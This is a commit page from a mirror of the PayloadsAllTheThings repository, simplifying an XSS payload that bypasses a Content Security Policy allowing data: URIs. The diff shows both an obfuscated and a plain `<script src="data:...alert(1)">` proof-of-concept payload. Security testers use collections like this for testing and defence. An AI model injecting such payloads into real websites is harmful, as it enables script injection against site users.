mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-12 14:22:47 +00:00
Update XSS README.md
Remove unnecessary complexity from CSP bypass payload
This commit is contained in:
parent
0024e2a3a9
commit
7996b4f905
1 changed files with 2 additions and 2 deletions
|
@ -1072,10 +1072,10 @@ Works for CSP like `script-src self`
|
|||
|
||||
### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072)
|
||||
|
||||
Works for CSP like `script-src 'self' data:`
|
||||
Works for CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).
|
||||
|
||||
```javascript
|
||||
<script ?/src="data:+,\u0061lert%281%29">/</script>
|
||||
<script src="data:,alert(1)">/</script>
|
||||
```
|
||||
|
||||
|
||||
|
|
Loading…
Reference in a new issue